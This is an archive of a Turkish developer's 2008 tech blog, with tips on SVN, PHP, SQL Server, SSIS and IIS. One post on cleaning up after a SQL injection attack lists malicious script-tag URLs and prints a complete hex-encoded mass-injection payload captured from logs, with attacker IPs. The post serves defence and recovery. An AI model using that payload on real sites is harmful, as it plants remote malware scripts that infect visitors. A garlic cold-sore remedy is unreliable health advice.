1 Aralık 2008 Pazartesi

Linux Üzerinde SVN Kurulumu İp Uçları

Subversion (SVN) hayat kurtaran sürüm kontrol sistemidir.

Linux (ubuntu) üzerinde SVN kurmak için.


apt-get install subversion


Kurulumdan sonra paket oluşturalım.

svnadmin create /home/svn/denemedepo

"denemedepo" klasörü içinde svn dosyaları oluşturulur.

"conf" klasöründe


nano /home/svn/denemedepo/conf/svnserve.conf


password-db = passwd nin karşısındaki # işaretini kaldırıyoruz.


nano /home/svn/denemedepo/conf/passwd



kullaniciadi = sifre

ekliyoruz.



nano /home/svn/denemedepo/conf/authz


Burda da eklediğimiz usera yetkilendirmeyi yapıyoruz.

kullanici = rw

hem okusun hem yazsın.

En son depoyu aktif hale getirelim.

/usr/bin/svnserve -d -r /home/svn/denemedepo

Bu aktif hale geldi. Peki bilgisayar yeniden başlarsa ?

O yüzden başlangıcada bu komutu yazmamız gerekiyor.


nano /etc/rc.local


dosyasını açıp içine şu satırı ekliyoruz ;

/usr/bin/svnserve -d -r /home/svn/denemedepo


Şimdi bilgisayar yeniden başladığında otomatik olarak bu depo çalışacak.

Bunlarda konuyla ilgili önerebileceğim linkler ;

Türkçe ;
http://www.belgeler.org/uygulamalar/subversion/subversion-sss-nasil.html

http://www.orhandogan.us/2008/09/25/ubuntu-notlarim-3-subversion-svn-kurulum-ve-yonetimi/

https://help.ubuntu.com/community/Subversion

Yabancı

http://alephzarro.com/blog/2007/01/07/installation-of-subversion-on-ubuntu-with-apache-ssl-and-basicauth/

30 Kasım 2008 Pazar

Linux uzerinde Upgrade İşlemleri (PHP,Mysql,Apache)

Linux üzerinde çalışırken php, mysql, apache nin son sürümlerini kurmak istediğinizde depodan size en uygun olanı indirtiyorlar.

sudo apt-get install apache2

sudo apt-get install php5

Sıfır kurulum için tamam. Ama ya bu kurduğunuz versiyonu upgrade yada downgrade etmek istiyorsanız yada bu sürüm yerine son stabil olanı kullanmak istiyorsanız ?

O zaman yapılacaklar 2 ye ayrılıyor. Ya elle bunları deryeleceksiniz yada paket yöneticinizden ayarları değiştirip hangi durumda olan sürümü istediğiniz belirteceksiniz.

Kolay olan paket yöneticinizden indirdiğiniz dosyaların tipini değiştirmek.

Bende ubuntu var onun üzerinden gidersek ;

PHP kurulu version PHP Version 5.2.3-1ubuntu6

nano /etc/apt/sources.list dersek


ikinci satıra ;

deb http://packages.dotdeb.org stable all
deb-src http://packages.dotdeb.org stable all

yazın.

sudo apt-get update -- böylece stable relase ler bulunacak

sudo apt-get install php5

yazınca zaten php5 kurulu olduğu için upgrade yapıp yapmak istemediğimizi soracak.

Y deyip geçiyoruz.

Tekrar bir soru gene "y"

işlem bitince php yi kontrol ediyoruz.

PHP Version 5.2.6-0.dotdeb.1

26 Kasım 2008 Çarşamba

Operation must use an updateable query. Microsoft JET Database Engine error '80004005'

"Microsoft JET Database Engine error '80004005'Operation must use an updateable query."

Access veritabanında update/insert/delete işlemi yapmak istediğiniz bu hatayı alabilirsiniz. Sebebi veritabanına yazma yetkisi olmayışıdır. Veritabanına sağ tıklayıp hangi user ile işlem yapıyorsanız ona yetki verin.

Ben bu komutu sitede çalıştırdığımız için "IISUser" için yazma yetkisi verdim.

20 Kasım 2008 Perşembe

Sql Server Bütün Veritabanlarının Yedeğini Alma

Sql Server Yedek Alma

http://www.mssqltips.com/tip.asp?tip=1070



DECLARE @name VARCHAR(50) -- database name
DECLARE @path VARCHAR(256) -- path for backup files
DECLARE @fileName VARCHAR(256) -- filename for backup
DECLARE @fileDate VARCHAR(20) -- used for file name

SET @path = 'C:\Backup\'

SELECT @fileDate = CONVERT(VARCHAR(20),GETDATE(),112)

DECLARE db_cursor CURSOR FOR
SELECT name
FROM master.dbo.sysdatabases
WHERE name NOT IN ('master','model','msdb','tempdb')

OPEN db_cursor
FETCH NEXT FROM db_cursor INTO @name

WHILE @@FETCH_STATUS = 0
BEGIN
SET @fileName = @path + @name + '_' + @fileDate + '.BAK'
BACKUP DATABASE @name TO DISK = @fileName

FETCH NEXT FROM db_cursor INTO @name
END

CLOSE db_cursor
DEALLOCATE db_cursor



Diğer bir yöntem Maintanence Plan yapma. Bunun için Sql Agent Job servisinin açık olması gerekiyor.

http://www.mssqltips.com/tip.asp?tip=1016

19 Kasım 2008 Çarşamba

Zend Studio For Eclipse Kullanım Kılavuzu -1

Daha önce Zend in eski surumunu kullaniliyordum cokda alismistim açıkcası. Ama yeni Zend de gayet güzel ve daha çok özellikleri var.

Fırsat buldukça size bunları anlatacağım.


Aşağıdaki işlemlerin hepsi proje açıldıktan sonra yapılmıştır ;

Öncelikle CVS ayarları ;

Windows/ Open Perspective / Other / CVS Repository Exploring








---------------------------------------------------

Zend Studio For Eclipse BAckround ayarlarını değiştirme ve renklendirme 

Window /Preferences  / General / Editors/ Text Editors







-----

Genel olarak  renk ayarlarini yapmak için yukarda "Syntax Coloring" olarak aratmanız 
yeterli olacaktır.


8 Kasım 2008 Cumartesi

SSIS Paketi Kullanmak

SSIS Paketi Kullanmak;
Bu dökümanda sizlere basit bir ssis paketi yazmayı anlatacağım. Burda yaptıklarım aslında mantık olarak tamamen doğru olduğu için değil daha fazla araç kullanmak için yapılmıştır. Ne dediğimi dökümanı okudukça anlayacaksınız ;

Döküman : http://docs.google.com/View?docid=dgndh2qr_51f9t29tc7
Uygulama : http://www.volkanaltan.com/Dokumanlar/ssis_kullanmak.zip
Paket Şifresi : 123456

SSIS (SQL Server Integration Services)

SSIS bir veri kaynağından (Veritabanı,Dosya vs..) verilerin alınıp arada istenirse işlemlere tabi tutularak
başka bir veri kaynağına aktarılmasıdır. Biz bunu yaparken Visul Studio 2005 kullanacagiz.

Öncelikle konuyu iyi kavrayabilmek için bir senaryo yazalım. Onun üzerine projemizi yapalım.

Soru : İçindeki dataları aynı olan fakat bazen birinden fazla diğerinde eksik veya tersi durumların olduğu İki farklı veritabanı arasında tablo bazlı senkornizasyon işlemi nasıl yapılır ?

Öncelik soru biraz karışık gözüktüğü için tesbit yapalım.

Local_db ve Remote_db iki veritabanı. Bu veritabanlarının localde bir yerde olduğunu varsayıyoruz.
A1 ve B1 tabloları için mevcut datalar aşağıdaki gibidir.

Local_db .A1 Remote_db .A1
1 1
2 2
7 5
8
9

Bunların eşitenmesi için A1 deki fazla datanın B1’ e, B1 deki fazlaların (varsa) A1’e geçilmesi gerekiyor.
Burdaki veritabanları farklı serverlarda bulunuyor. Bunlara ulaşmak için Linked Server (Daha önce anlatmıştık.) kullanabiliriz. O zaman bu işlem için şu şekilde bir Sql cümleciği yazmamız gerekicekti.



Select Ldb.*,Rdb.* From local_db.dbo.A Ldb

left join remote_db.dbo.A Rdb ON Rdb.PrID = Ldb.PrID


Yukardaki sorgu bize şöyle bir sonuç verecektir.



Bizim istediğimiz ise Local db de olan fakat remote db de olmayan dataları Remote Db ’ ye girmek.
Bunun için Locale A Remote a B dersek. A-(A∩B) yapiyoruz. (A tablosundan A kesişim B yi çıkartıyoruz, sadece B’ de olan datalar bize kalıyor.)


Select Ldb.*,Rdb.* From local_db.dbo.A Ldb

left join remote_db.dbo.A Rdb ON Rdb.PrID = Ldb.PrID

WHEre Rdb.PrID is null




Görüldüğü üzere B ‘ ye girmemiz gereken datalar ortaya çıktı. Şimdi bunu tam işe yarar hale getiriyoruz.


INSERT INTO Remote_db.A (PrID)

Select Ldb.PrID From local_db.dbo.A Ldb

left join remote_db.dbo.A Rdb ON Rdb.PrID = Ldb.PrID

WHEre Rdb.PrID is null


Çalıştırınca “(3 row(s) affected)” yazısı çıkıyor. İşlem başarılı.

Şimdi bu yaptığımız işlemde yazdığımız Sql cümleciğini SSIS kullanarak yapacağız.


Önce proje oluşturuluyor.
....

7 Kasım 2008 Cuma

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: no parameters were bound' in

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: no parameters were bound' in diye uzar gider bu hata.

Zend Framework içindeki Zend_Table yapısını kullandığınızda eğer PHP sürümünüz
5.1.2 ve altındaysa bu hatayla karşılaşmanız muhemel. Türkçe karakterlerde sorun çıkartıyor.

ı,ö,ü,ş,ğ,ç vs..

Ben sp içinde data insert ederken bu hatayı aldım.

Çözüm olarak PHP sürümü yükselttik sorun çözüldü. (php 5.2.6)

Sql Server 2005 Data Compare

Sql Server 2005 de Data Compare yapmak için kendi içindeki bir aracı kullanabilirsiniz.
Ama bunu sizin yerinize kolaylaştırmışlar. Oldukça da güzel.

TableDiffGui

Burda da yorumları okuyabilirsiniz.
http://weblogs.sqlteam.com/mladenp/archive/2007/08/10/60279.aspx

php xml parser error : 4

Php xml parser error : 4

Almasi zor bir hata :)

Bu hatayi aliyorsaniz çektiğiniz datanın unicodunda bir terslik var demektir . Data eksik veya hatalı okunuyordur.

Muhtemelende file_get_content fonksiyonu kullandiginizda veya fopen de karsinize çıkmış olabilir.

Bunu engellemek için ;


function file_get_contents_utf8($fn) {
$content = file_get_contents($fn);
return mb_convert_encoding($content, 'UTF-8',
mb_detect_encoding($content, 'UTF-8, ISO-8859-1', true));
}


http://tr2.php.net/manual/en/function.file-get-contents.php#85008

4 Kasım 2008 Salı

Login failed for user 'volkan'. The user is not associated with a trusted SQL Server connection. (Microsoft SQL Server, Error: 18452)

Login failed for user 'volkan'. The user is not associated with a trusted SQL Server connection.
(Microsoft SQL Server, Error: 18452)

Sql Server 2005 de login olmak istediğinizde bu hatayı alıyorsanız sebebi Login modun uygun olmamasıdır. Bunun için;
Microsofta bakabilirsiniz.
http://support.microsoft.com/kb/555332

Ayrıca , MSSMS ile Databse bağlantısı açtıktan sonra ( win authentication)
1. üzerine sağ tıklayıp Property
2. Security
3. Server authentication mode : SQL Server and Windows Authentication mode seçin.
4. Login auditing : Failed logins only
5. Sql serveri yeniden başlatın.

28 Ekim 2008 Salı

HttpWebRequest Nesnesi ile Proxy Kullanmak veya kullanmamak

HttpWebRequest, bu nesne yi web browser olarak kullaniyorsaniz şöyle bir sorunla karşılaşabilirsiniz.

1. internet explorer (ie) Lan Settings ayarlarinda degisiklik yapildiginda browser etkilenebilir.

2. Siz HttpWebRequest ile webbrowser da proxy yapmak isteyebilirsiniz.


string UrlAddress = "http://volkanaltan.com"
Uri ourUri = new Uri(UrlAddress);
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(ourUri);
request.UserAgent = "Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1; .NET CLR 1.1.4322)";
request.ContentType = "text/html;charset=ISO-8859-1";
request.AllowAutoRedirect = true;//yonlendirmeye izin ver
request.Proxy = null; //Lan Settings degismisse sen bundan etkilenme


Proxy yapmak için;


WebProxy proxy = new WebProxy('127.0.0.1',80);
request.Proxy = proxy

26 Ekim 2008 Pazar

Blogger engellendi...

Söylenecek çok fazla birşey yok.

Ben yazılardan geri kalmamak için alternatif ve kalıcı çözüm arayacağım.

23 Ekim 2008 Perşembe

Sql server 2005 Kullanici Olusturma Ipuclari

Merhaba,

Genellikle herkesin basina gelen sorun kullanici ile bir veritabani ilişkilendirildiği halde, kullanıcının bütün veritabanlarını görmesidir. Her ne kadar içlerini göremesede serverda ne kadar veritabani varsa adlarıyla görmesi hoş olmamaktadır.

Kullanici yaratırken Sql Server Management Studio (SSMS) kullandığımız için detaylar atlanmaktadır.

İlkkez bir kullanıcı oluşturacağımız zaman şöyle yapmalıyız ;

use master

go

create database denemedb--veritabani yarat

go

use denemedb

go

create login kullanici with password = '123456', check_policy = off--user yarat

go

use denemedb

go

sp_changedbowner 'kullanici' -- denemedb sini "kullanici" ya goster

go

use master

go

deny VIEW any DATABASE to kullanici--Sahib oldugu disinda hic birini gosterme

go



Eger zaten veritabanı ve kullanıcınız varsa yapmanız gerekenler ;



use veritabani -- bu veritabani yetkisi degisecek olan

go

sp_changedbowner 'kullanici' -- yetkisi degicesek olan kullanici

go

use master

go

deny VIEW any DATABASE to veritabani
-- bu veritabanini sahibi disinda kimseye gosterme

go


Yukardakini yaptiginiz halde olmuyorsa ;

İlk komutu çalıştırdığınız şu hatayı alabilirsiniz;
"Msg 15110, Level 16, State 1, Line 1
The proposed new database owner is already a user or aliased in the database."


-- user rolunu siliyoruz

use [veritabani] go

Exec sp_revokedbaccess 'kullanici' --

--

use [veritabani] go

sp_changedbowner 'kullanici' -- yeniden ekliyoruz db owner olarak

--

use master

go

deny VIEW any DATABASE to kullanici


Kaynak : http://blogs.msdn.com/euanga/archive/2006/05/04/585513.aspx

19 Ekim 2008 Pazar

AQTRONIX WebKnight - Application Firewall IIS Için

AQTRONIX WebKnight Application Firewall
Konumuz WebKnight isimli firewall.
Daha onceki "Sql injectiondan korunma" yazımda biraz olaylara girmiştik. Ama bu savunma yaterli olmamaktadır. Halen dışardan başka şekillerde sistemimize saldırı olabilir. Kodlarda değişiklik yapmak gerek ama daha kısa biryolu daha var. O da dışardan gelebilecek kötü istekleri engellemek. Bunu yapabilmek için server yönetici olmak gerek.

Benim IIS için tavsiyem, Kadir arkadaşımdan öğrendiğim WebKnight isimli Web Firewall dır.
Oldukça kullanışlı ve performanslı bir araç uzun zamandır test etmekteyim ve bir zararını görmedim. Tabi ayarlar yapmakda bir o kadar uzun sürdü.

En güzel yani ayarları istediğiniz gibi kendi istekleriniz doğrultusunda yapıp değiştirebilmeniz. WebKnight.xml dosyası içinde istediğiniz özellikleri ekleyip çıkarabilirsiniz. Diğer bi güzelliği ise "Open Source" olması.

Şurdan indirip hemen denemeye başlayabilirsiniz.

Dikkat edilecek iki önemli husus var.

1. Birçok sitede *.mdb veritabanına ulaşmak için web yolu verilmiştir. www.volkanaltan.com/db/volkan.mdb gibi. Bu da bir açık sayılmakta. Bu nedenle firewall da kapatılmış. Bu tür uzantılı dosyalara ulaşamıyorsunuz o nedenle ayarlardan bunu çıkardım ama siz daha sonra, bu konudaki kararınızı verirsiniz. (Use Denied Extensions sekmesinden ayarlayabilirsiniz.)

2. Başlangıçta
  • Use Referrer Scanning (Referrer section)
  • Deny User Agent Non RFC (User Agent section)
Buralar işaretli kalsın ama performans sorunu yaşarsanız ve gereksiz log görmek istemiyorsanı buraları tıklamayın.

Benim tecrübelerim ile oluşturduğum ayar dosyası için Tıklayın.

17 Ekim 2008 Cuma

The AcquireConnection method call to the connection manager failed with error code 0xC0202009

[OLE DB Destination [469]] Error: SSIS Error Code DTS_E_CANNOTACQUIRECONNECTIONFROMCONNECTIONMANAGER. The AcquireConnection method call to the connection manager failed with error code 0xC0202009. There may be error messages posted before this with more information on why the AcquireConnection method call failed.

SSIS paketi yazarken, paketi başka bir bilgisayara taşıdığınız da bu hatayı alabilirsiniz. Bunun sebebi;

Paketin Property sindeki ("ProtactionLevel") güvenlik önlemidir. Muhtemelen seçtiğiniz yönteme uygun hareket etmiyorsunuzdur.

Ya şifreleme istemiyorum demişsinizdir yada User bazlı şifreleme seçilmiştir.
( EncryptAllWithUserKey, EncryptSensativeWithUserKey )
En sağlıklısı EncryptSensitiveWithPassword olanı seçmek. Bir şifre tanımlarsanız istediğiniz yerde paketi kullanabilirsiniz.

The version of component "DataReader Source" is not compatible with this version of the DataFlow.

Error 1 Error loading TrackedCodes_to_Local.dtsx: Microsoft.SqlServer.Dts.Pipeline.ComponentVersionMismatchException: The version of component "DataReader Source" (31) is not compatible with this version of the DataFlow. [[The version or pipeline version or both for the specified component is higher than the current version. This package was probably created on a new version of DTS or the component than is installed on the current PC.]] at Microsoft.SqlServer.Dts.Pipeline.ManagedComponentHost.HostCheckAndPerformUpgrade(IDTSManagedComponentWrapper90 wrapper, Int32 lPipelineVersion)

Yazdığınız SSIS paketini başka bir bilgisayarda çalıştırmak istediğiniz bu hatayı alabilirsiniz.
Bunun sebebi Vs2005 ile gelen SQLExpress ile sizin çalıştığınız versyon arasında fark olmasıdır.

Bunu çözmek için;
Mevcut yapıda ne varsa çalıştıracağınız makineyede aynılarını kurun.
Özellikle Sql server 2005 + Sql Server SP2 olmalı. .Net Framework de güncellemeler yapan sql service pack 2 hayat kurtarıyor.

15 Ekim 2008 Çarşamba

ODBC Data Source error - SSIS

Error at Data Flow Task [DataReader Source [31]]: Cannot acquire a managed connection from the run-time connection manager.

DataReader a bağlantı kurmak istediğinde bu hatayı alırsanız, sebebi yaptığınız bağlantı türünün ".Net Providers\SqlClient Data Provider" olmamasıdır.

Kaan Aslan ile Röportaj - CETURK

CETURK'ten Mehmet Aca, Hocamız Kaan Aslan ile Röportaj yapmış. Bence kaçırmayın.

14 Ekim 2008 Salı

ASP.NET must have read access to the IIS metabase

"The process account used to run ASP.NET must have read access to the IIS metabase (e.g. IIS://servername/W3SVC). For information on modifying metabase permissions" message,

Bu hatayi aldığınızda moralinizi bozmayın. İlgili Framework için şu komutu girin;

C:\WINDOWS\Microsoft.NET\Framework\ version
"aspnet_regiis.exe -i"

Düzelmez ise ;

aspnet_regiis -ga MAkineAdi veya user

11 Ekim 2008 Cumartesi

Heroes 3.Sezon Bomba Gibi



Heroes un galasinda 3. sezonun cok farkli olacagi soyleniyordu. Aciksaci bolumleri izledikçe bunun beklentilerimin üstünde olduğunu gordum. Syler in buyuk degisimi ise...

8 Ekim 2008 Çarşamba

Ilginc Botlar

Microsoft Data Access Internet Publishing Provider Protocol Discovery

Microsoft Office Protocol Discovery


Bunlarin ne oldugu hakkinda bilgisi olan var mi ?

Bunlar Microsoft'un lisans kontrolu icin kullandigi araclar olabilir mi..?

6 Ekim 2008 Pazartesi

Sql server 2000 Sql Injection Saldirisindan Korunma

Son zamanlarda bu tur saldirilar iyice artti. Ozellikle javascript dosyasini tum tablolara yazan bu saldiriyi yediyseniz yapmaniz gerekenler ;

--
Bakınız: http://volkanaltan.blogspot.com/2008/10/aqtronix-webknight-application-firewall.html


--

Önce tablolarımızı temizleyelim;

DECLARE @String as nvarchar(100)
SET @String = '<script src="http://www.ujnc.ru/js.js"></script>'
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor
CURSOR FOR

select a.name,b.name from sysobjects a,syscolumns b

where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)

BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'], '''+@String+''', '''')')

FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor

DEALLOCATE Table_Cursor

--<script src="http://www.ujnc.ru/js.js"></script>
--<script src="http://www.mnbenio.ru/script.js"></script>
--<script src="http://www.pfd2.ru/ngg.js"></script>
--<script src="http://www.crtbond.com/ngg.js"></script>
--<script src="http://www.netr2.ru/script.js"></script>
--<script src="http://www.iopc4.ru/script.js"></script>
--<script src="http://www.ujnc.ru/js.js"></script>
--<script src="http://www.ncb2.ru/ngg.js"></script>
--<script src="http://www.b4so.ru/ngg.js"></script>
--<script src="http://www.ncb2.ru/ngg.js"></script>
--<script src="http://www.bts5.ru/ngg.js"></script>
--<script src="http://www.5kc3.ru/ngg.js"></script>
--<script src="http://www.jex5.ru/ngg.js"></script>
--<script src="http://www.jvke.ru/ngg.js"></script>
--<script src="http://www.90mc.ru/ngg.js"></script>
--<script src="http://www.kc43.ru/ngg.js"></script>
--<script src="http://www.adwbn.ru/ngg.js"></script>
--<script src="http://www.korfd.ru/ngg.js"></script>
--<script src="http://www.tertad.mobi/ngg.js"></script>
--<script src="http://www.4cnw.ru/ngg.js"></script>
--<script src="http://www.nudk.ru/ngg.js"></script>
--<script src="http://www.adwbn.ru/ngg.js"></script>
--<script src=http://www.jic2.ru/script.js></script>
--<script src=http://www.pkseio.ru/script.js></script>
--<script src=http://www.mnbenio.ru/script.js></script>
--<script src=http://www.rundll841.com/b.js></script>
--<script src=http://www.porttw.mobi/ngg.js></script>
--<script src=http://www.ncwc.ru/ngg.js></script>
--<script src=http://www.pfd2.ru/ngg.js></script>
--<script src=http://www.pfd2.ru/ngg.js></script>
--<script src=http://www.bsko.ru/ngg.js></script>
--<script src=http://www.nbh3.ru/js.js></script>
--<script src=http://www.jic2.ru/script.js></script>
--<script src=http://www.pkseio.ru/script.js></script>
--<script src=http://www.mnbenio.ru/script.js></script>


Yukardaki kod ile tablo tipi varchar olan bütün alanlarda aradığınız stringi bulup boşluk ile değiştiriyor.



Text alanlar içinse şunu yapmalısınız;



DECLARE @StrBin BINARY(16)
DECLARE @InsertPos INT
DECLARE @DeleteLen INT
DECLARE @TabloID int
DECLARE test_cursor CURSOR FOR
SELECT TabloID FROM tablo_name

OPEN test_cursor
FETCH NEXT FROM test_cursor INTO @TabloID
WHILE @@FETCH_STATUS = 0

BEGIN
SELECT @StrBin = TEXTPTR(Field),
@InsertPos = (CHARINDEX('<script src="http://www.64do.com/script.js"></script>', Field)-1),

@DeleteLen = len('<script src="http://www.64do.com/script.js"></script>')

FROM dbo.tablo_name

WHERE TableID = @TabloID
IF(@InsertPos <> -1)

BEGIN
UPDATETEXT dbo.tablo_name.Field
@StrBin
@InsertPos
@DeleteLen
WITH LOG
''

END
FETCH NEXT FROM test_cursor INTO @TabloID

END
CLOSE test_cursor
DEALLOCATE test_cursor


Böylece saldırının etkisini atlatmış olucaz.


Şimdi ise bunun olmaması için ne yapmamız gerektiğine bakalım;


Bütün veritabanlarında "public" rolü seçilidir. Bu rolde "sysobjects" tablosuna erişimi kaldırıyoruz.





DECLARE @Name_ as nvarchar(100)
DECLARE @SQL as nvarchar(1000)
DECLARE @Count AS INT
SET @Count = 0
DECLARE test_cursor CURSOR
FOR

SELECT name FROM master..sysdatabases WHERE status=16 AND name NOT IN ('master','model','msdb','tempdb') ORDER BY name -- pasif db listesini getirme

OPEN test_cursor


FETCH NEXT FROM test_cursor INTO @Name_

WHILE (@@FETCH_STATUS <> -1)--bitti mi ?
BEGIN
SET @SQL = '
use ['+@Name_+']
DENY Select ON [dbo].[sysobjects] TO [public] CASCADE
'

exec(@SQL)--system tablosuna erisimi durdurma

--SELECT @SQL
SET @Count = @Count +1--sayiyi artir
--SELECT @Name_
FETCH NEXT FROM test_cursor INTO @Name_
END
CLOSE test_cursor
DEALLOCATE test_cursor
SELECT @Count --sonucu goruntule


------------


Örnek saldırı kodları ve saldıran ip ler ;

';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

ip list;

125.119.158.57, 122.4.54.67, 74.13.127.182, 85.93.236.62

26 Eylül 2008 Cuma

Kadir Gecesi



Mübarek Kadir Gecenizi tebrik ederim.

Hayırlara vesile olur inşallah.

24 Eylül 2008 Çarşamba

Dudaginizda Ucuk Cikarsa Ne Yapmalisiniz ?

Evet günün sorusu uçuk ile nasıl mücadele edilir ?

Öğrendiğim bir method bu işi çok kolaylaştırıyor.

Uçuk daha yeniyken ;
1-Sarımsağın bir dişini soyup kabuksuz hale ggetirin.
2-Ucundan azıcık kesip buraya tuz dökün
3- Sarımsağı, uçuğun çıktığı yere bastırın.

Bu işlemi sarımsağı ince ince keserek devam ettirin.

Biraz yanacaktır ama inanılmız derece hızlı bir biçimde uçuğunuz kuruyacaktır. Geri kalan günlerde uçuk kremi sürebilirsiniz. Ama işin aslı uçuğun kurumasında. Sarımsak onu hızlıca kurutuyor.

Geçmiş olsun :)

20 Eylül 2008 Cumartesi

GOM Media Player, GOM Encoder

Bunca zaman BsPlayer ile kendimi kandırmışım. Gom Player ile tanışınca dünyam değişti.
Ayarları iyi yaparsanız mükemmel kalitede divx izleme şansını yakalarsınız.

18 Eylül 2008 Perşembe

JMeter'ı anlatan Örnek Bir Ugulama

  1. Giriş
Apache JMeter Java dilinde yazılmış bir uygulamadır.. Öncellikle Web için tasarlanan bir test aracı olup, sonradan başka test alanlarında da kullanılmıştır.
Apache JMeter hem statik hem de dinamik kaynakları test etmek için kullanılabilir. Örnek: Servlet, Perl script, Java nesnesi (Java Object), veri tabanı sunucusu (DBMS), FTP sunucusu v.b.
Bir sunucu üzerinde birden fazla bağlantı açıp aynı zamanda birçok bağlantı yapılıyormuş gibi gösterebilmektedir. Bu sonuçları analiz etmek içinde grafiksel raporlama imkanları vardır.

Apache JMeter aşağıdaki özellikleri taşır:
  1. - HTTP, FTP ve veri tabanı sunucuları (JDBC kullanarak) üzerine ağır yük (heavy load) ve performans (performance) testleri yürütebilir
  2. - 100% Java dilinde yazılmış olduğundan platformdan bağımsız, taşınabilir
  3. - Swing package’i kullanıyor (derlenmiş JAR javax.swing.* package’leri içeriyor)
  4. - Çok dizililiği (multithreading) kullandığından, koşut olarak birkaç işlev yapılabilir, çok kullanıcılı bir ortamı simule edebilir.
  5. - Kullanıcı arayüzü (GUI) kullanışlı olup, daha hızlı işlemekte ve daha doğru zamanlamayı (precise timing) sağlıyor.
  6. - Önbelleğe almayı (caching) kullanıp, sonuçları çevrim dışı (offline) olarak görme/analize etmeye olanak sağlıyor.
  7. - Genişleyebilir (Highly Extensible)
    1. * Takılabilir örnekleyiciler (pluggable samplers) ile sonsuz test olanakları sağlıyor
    2. * Takılabilir Zamanlayıcılar (pluggable timers) ile birkaç yük istatistiği (load statistics) seçilebilir
    3. * Veri analizi ve görselleştirme takılabilirler (visualization plugin) ile genişleyebilirliği (extendibility) ve kişiselleştirmeyi (personalization) sağlamakta
    4. * İşlevler (JavaScript’i içermekte) bir test için devingen (dynamic) girdi oluşturmakta kullanılabilir
    5. * Yazılı yönergeli örnekleyiciler (scriptable samplers)
  1. JMeter’i Çalıştırma
    JMeter’i kullanmak için
    http://jakarta.apache.org/site/downloads/downloads_jmeter.cgi adresinden son sürümüni indirmeliyiz. İndirdiğimiz dosyanın içinde “bin” klasöründe jmeterw.cmd (Windows için) veya jmeter (Linux için) çalıştırmalıyız.
  2. JMeter’in Kullanımı
    a. HTTP Çalışması
JMeteri çalıştırmak için bir çalışma planımızı “Thread Group” a ekliyoruz

Yukarda ki ayarları istediğimiz şekilde değiştiriyoruz.
(Kullanıcı sayısı , kaç kez tekrarlanacağı)
Number Of Thread (users) :

Thread imize sağ tıklayıp Add / Config Element / HTTP Request Defaultsekliyoruz.

Dökümanın tamamı için;

Apache JMeter dökümanı

The database principal owns a schema in the database, and cannot be dropped.

The database principal owns a schema in the database, and cannot be dropped.

Hatası alınınca şunlar yapılmalı;

1.Server/Security/Logins/ user silinmeli.
2.Server/Databses/dbname/Security/Roles/ ilgili rol silinmeli.
3.Eğer silmiyorsa o zaman tablomuzda veya sp lerimizde bu shema kullanılıyor demektir.

O zaman şunu yaparız ilgili veritabanında mevcut tablolarımız için şemayı değiştiririz.;

exec sp_MSforeachtable "ALTER SCHEMA [dbo] TRANSFER ? PRINT '? OK' "

Böylece yeni şemamız dbo oldu.

Tekrar 2. adıma geçip silelim.İşlem başarılı olacaktır.

17 Eylül 2008 Çarşamba

Engine returned Unknown Error (Microsoft.VisualBasic.Vsa.DT)

Engine returned Unknown Error (Microsoft.VisualBasic.Vsa.DT)
Yukardaki gıcık hatayı aldınız herşeyi yapmanıza rağmen sorununuz çözülmüyorsa...
Herşeyden kasıt ;

1- Mssql server yükleme
2- Servis pack (sp) 2 yükleme
3- Ne kadar yaması varsa yükleme
Son adımımız.
4. Başlat->Çalıştır->cmd -> regsvr32.exe ole32.dll

http://www.bigresource.com/MS_SQL-SSIS-Script-Task-Editor-Fails-to-Load-EAy6wove.html

Abimiz olayı çözmüş.

16 Eylül 2008 Salı

Google Data APIs SDK

Google Data Api leri googlenin muhteşem hizmetlerinden biri.
Neredeyse her servisi için ayrı bir apisi var. Bu apiler ile kendi clientinizi yazıp blogunuza mesaj atabilir, dosya dökümanlarınızı paylaşabilirsiniz.

http://code.google.com/apis/gdata/clientlibs.html

Yukardaki sayfadan çeşitli Client ler bulmak mümkün.
.Net
Java
PHP
Python
C
kaynak kodları ile indirip test edebilirsiniz.


Aslında bunu daha farklı amaçlar içinde kullanabilirsiniz. Wordpressteki veya başka bir yerdeki bloğunuzu hızlıca blogger a geçirebilirsiniz. Biraz kodlara oynama yaparak bunu yapmak pekde zor değil.

Cannot connect to SQL SERVER

Cannot connect to SQLSERVER

TITLE: Connect to Server
------------------------------

Cannot connect to SERVER

------------------------------
ADDITIONAL INFORMATION:

An error has occurred while establishing a connection to the server. When connecting to SQL Server 2005, this failure may be caused by the fact that under the default settings SQL Server does not allow remote connections. (provider: Named Pipes Provider, error: 40 - Could not open a connection to SQL Server) (Microsoft SQL Server, Error: 2)

For help, click: http://go.microsoft.com/fwlink?ProdName=Microsoft+SQL+Server&EvtSrc=MSSQLServer&EvtID=2&LinkId=20476

------------------------------
BUTTONS:

OK
------------------------------

